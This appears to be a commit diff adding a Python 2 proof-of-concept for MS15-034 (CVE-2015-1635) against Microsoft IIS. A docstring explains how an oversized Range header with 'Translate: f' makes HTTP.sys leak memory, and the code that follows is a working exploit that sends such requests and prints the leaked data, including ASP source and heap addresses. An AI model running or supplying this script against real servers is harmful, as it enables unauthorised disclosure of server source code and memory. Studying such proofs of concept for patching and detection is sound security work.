1
+ #!/usr/bin/python2
2
+
3
+ """
4
+
5
+ COPY of leak PoC script, full credit goes to https://gist.github.com/worawit/54f2e5a7a1a028191f76
6
+
7
+ MS15-034 (CVE-2015-1635) proof of concept to do information leak
8
+ This PoC is safe to run against vulnerable target. No crash the IIS server or OS.
9
+ From the pseudocode, if the request header "Translate: f" is presented, HTTP.sys
10
+ will call UlSendHttpResponse() for sending response. This function does not make
11
+ IIS or OS crashed even Range length is invalid.
12
+ With "Translate: f" header, the HTTP.sys will not cache response, so HTTP.sys uses
13
+ data from user space memory. The result is HTTP.sys will read and send data from
14
+ user space memory until accessing invalid memory address. But sending data use buffer
15
+ about 64KB. If accessing invalid memory address is found before data buffer is full,
16
+ all buffered data is discard. So there is a chance to get nothing or missing some
17
+ trail data in memory chunk.
18
+ Here is what you can get from this PoC
19
+ - leak ASP source code
20
+ - determine the target architecture (32 bit or 64 bit)
21
+ - leak some valid heap address in remote w3wp.exe
22
+ - other static files (useless)
23
+ Other code paths for leaking data are in UlSendCachedResponse() and UlCacheAndSendResponse().
24
+ These 2 functions use UlpBuildSliceRangeMdl() for building chunk. These path
25
+ might crash target OS as explained in psuedocode comment.
26
+ Note: To exploit these paths read (I'm lazy to explain)
27
+ - http://blog.trendmicro.com/trendlabs-security-intelligence/iis-at-risk-an-in-depth-look-into-cve-2015-1635/
28
+ - http://www.securitysift.com/an-analysis-of-ms15-034/
29
+ A 'If-Range:' header might be needed (I cannot remember) if you want code to
30
+ call UlSendCachedResponse().
31
+ """
32
+
33
+ import sys
34
+ import urllib2
35
+ import socket
36
+
37
+ if len (sys .argv ) < 2 :
38
+ print ('{} url [contentLength]' .format (sys .argv [0 ]))
39
+ sys .exit (1 )
40
+
41
+ url = sys .argv [1 ]
42
+
43
+
44
+ if len (sys .argv ) > 2 :
45
+ contentLength = int (sys .argv [2 ])
46
+ else :
47
+ req = urllib2 .Request (url )
48
+ req .get_method = lambda : 'HEAD'
49
+ resp = urllib2 .urlopen (req )
50
+ contentLength = int (resp .info ()['Content-Length' ])
51
+ resp .close ()
52
+ print ('contentLength: {:d}' .format (contentLength ))
53
+
54
+ def dump_data (offset , tail_length ):
55
+ req = urllib2 .Request (url )
56
+ req .add_header ('Range' , 'bytes={:d}-18446744073709551615' .format (offset ))
57
+ req .add_header ('Translate' , 'f' )
58
+
59
+ resp = None
60
+ data = ""
61
+ try :
62
+ resp = urllib2 .urlopen (req )
63
+ if tail_length > 0 :
64
+ resp .read (tail_length )
65
+ while True :
66
+ data += resp .read (1 )
67
+ resp .close ()
68
+ except socket .error as e :
69
+ if resp is not None :
70
+ resp .close ()
71
+ return data
72
+
73
+ tail_length = 60000
74
+ offset = contentLength - tail_length
75
+ if offset < 2 :
76
+ offset = 2
77
+ tail_length = contentLength - 2
78
+
79
+ data = dump_data (offset , tail_length )
80
+ if len (data ) > 0 :
81
+ print (data )
0 commit comments